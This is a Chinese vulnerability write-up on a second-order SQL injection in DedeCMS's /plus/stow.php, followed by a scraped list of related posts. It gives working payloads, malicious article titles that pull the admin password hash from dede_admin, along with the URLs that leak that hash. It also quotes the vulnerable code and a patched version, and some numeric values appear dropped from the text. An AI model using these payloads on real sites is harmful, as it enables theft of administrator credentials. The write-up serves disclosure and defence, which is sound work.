dedecms /plus/stow.php Twice SQL Injection
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
收藏文章功能$title变量未过滤,造成二次注入
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2013-046375
2. 漏洞触发条件
0x1: 发布一个特殊构造标题的文章
http://127.0.0.1/dedecms5.5/member/content_list.php?channelid=1
//文章标题如下,目的是额外注入了一条可以查询出管理员密码的SQL语句
u',char(@`'`), (select pwd from dede_admin))#
0x2: 提交收藏请求
获取刚才发布文章的aid。例如aid=,针对这篇文章发起收藏请求
http://localhost/dedecms5.5/plus/stow.php?aid=108&type=001
0x3: 发起刚才发布的文章的"推荐"请求
http://localhost/dedecms5.5/member/mystow.php
//点击刚才发布的文章的"推荐"链接,打开如下连接
http://localhost/dedecms5.5/plus/recommend.php?type=29a53fb3c3&aid=108
//其中type=29a53fb3c3的"29a53fb3c3"为向dede_admin.pwd字段的前10位,这个时候二次注入就已经发生了
0x4: 注入后10位
后10位使用类似的步骤,不同的是发布的文章标题为
u',char(@`'`),substring((select pwd from dede_admin),))#
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2013-046375
3. 漏洞影响范围
4. 漏洞代码分析
/plus/stow.php
..
$row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' "); if(!is_array($row))
{
//这里的TITLE是从数据库里查询出来的,也就是我们发布的文章的标题
$dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".$title."','$addtime'); ");
}
..
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2014-048913
5. 防御方法
/plus/stow.php
<?php
require_once(dirname(__FILE__)."/../include/common.inc.php"); $aid = ( isset($aid) && is_numeric($aid) ) ? $aid : ;
$type=empty($type)? "" : HtmlReplace($type,);
if($aid==)
{
ShowMsg('文档id不能为空!','javascript:window.close();');
exit();
} require_once(DEDEINC."/memberlogin.class.php");
$ml = new MemberLogin(); if($ml->M_ID==)
{
ShowMsg('只有会员才允许收藏操作!','javascript:window.close();');
exit();
} //读取文档信息
$arcRow = GetOneArchive($aid);
if($arcRow['aid']=='')
{
ShowMsg("无法收藏未知文档!","javascript:window.close();");
exit();
}
extract($arcRow, EXTR_SKIP);
/**/
$title = HtmlReplace($title,);
$aid = intval($aid);
/**/
$addtime = time();
if($type==''){
$row = $dsql->GetOne("Select * From `#@__member_stow` where aid='$aid' And mid='{$ml->M_ID}' AND type='' ");
if(!is_array($row))
{
$dsql->ExecuteNoneQuery("INSERT INTO `#@__member_stow`(mid,aid,title,addtime) VALUES ('".$ml->M_ID."','$aid','".addslashes($arctitle)."','$addtime'); ");
}
}else{
$row = $dsql->GetOne("Select * From `#@__member_stow` where type='$type' and (aid='$aid' And mid='{$ml->M_ID}')");
if(!is_array($row)){
$dsql->ExecuteNoneQuery(" INSERT INTO `#@__member_stow`(mid,aid,title,addtime,type) VALUES ('".$ml->M_ID."','$aid','$title','$addtime','$type'); ");
}
} //更新用户统计
$row = $dsql->GetOne("SELECT COUNT(*) AS nums FROM `#@__member_stow` WHERE `mid`='{$ml->M_ID}' ");
$dsql->ExecuteNoneQuery("UPDATE #@__member_tj SET `stow`='$row[nums]' WHERE `mid`='".$ml->M_ID."'"); ShowMsg('成功收藏一篇文档!','javascript:window.close();');
?>
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
dedecms /plus/stow.php Twice SQL Injection的更多相关文章
- dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 . dedecms原生提供一个"本地变量注册"的模拟 ...
- druid sql黑名单 报异常 sql injection violation, part alway true condition not allow
最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...
- PHP+MYSQL网站SQL Injection攻防
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- HP+MYSQL网站SQL Injection攻防
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
- Cacti /graphs_new.php SQL Injection Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...
- ecshop /search.php SQL Injection Vul
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...
- How to prevent SQL injection attacks?
In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...
随机推荐
- C10K 问题引发的技术变革
C10K 问题引发的技术变革 http://rango.swoole.com/archives/381
- Linux 信号详解二(信号分类,信号处理,kill)
信号分类 信号分为可靠信号和不可靠信号 不可靠信号的缺点 ①:处理完信号,需要重新再注册信号:②信号可能丢失. Linux已经对缺点①做了优化,现在的不可靠问题主要指的是信号可能丢失 信号还可以分为实 ...
- css3实践之图片轮播(Transform,Transition和Animation)
楼主喜欢追求视觉上的享受,虽常以牺牲性能无法兼容为代价却也乐此不疲.本文就通过一个个的demo演示来简单了解下css3下的Transform,Transition和Animation. 本文需要实现效 ...
- [MCSM] Slice Sampler
1. 引言 之前介绍的MCMC算法都具有一般性和通用性(这里指Metropolis-Hasting 算法),但也存在一些特殊的依赖于仿真分布特征的MCMC方法.在介绍这一类算法(指Gibbs samp ...
- C# 7.0 新特性2: 本地方法
本文参考Roslyn项目中的Issue:#259. 1. C# 7.0 新特性1: 基于Tuple的“多”返回值方法 2. C# 7.0 新特性2: 本地方法 3. C# 7.0 新特性3: 模式匹配 ...
- UTF-8和Unicode
What's the difference between unicode and utf8? up vote 103 down vote favorite 49 Is it true that un ...
- centos 服务器内存管理
du su /目录/ 查看改目录大小 ls -lht / 查看文件详情,显示文件大小(直观) df -h 查看系统内存占用情况
- 在eclipse中使用第三方库总结
一.建立user library 导入第三方jar文件,最简单的方式是:右键工程/属性/java build path/add external jars. 另一种方式是:window/prefren ...
- 很简单的多线程访问python嘿嘿嘿
import urllib import socket from threading import * url = "http://www.baidu.com/s?ie=UTF-8& ...
- iOS 隐藏/去掉 导航栏返回按钮中的文字
[[UIBarButtonItem appearance] setBackButtonTitlePositionAdjustment:UIOffsetMake(, -) forBarMetrics:U ...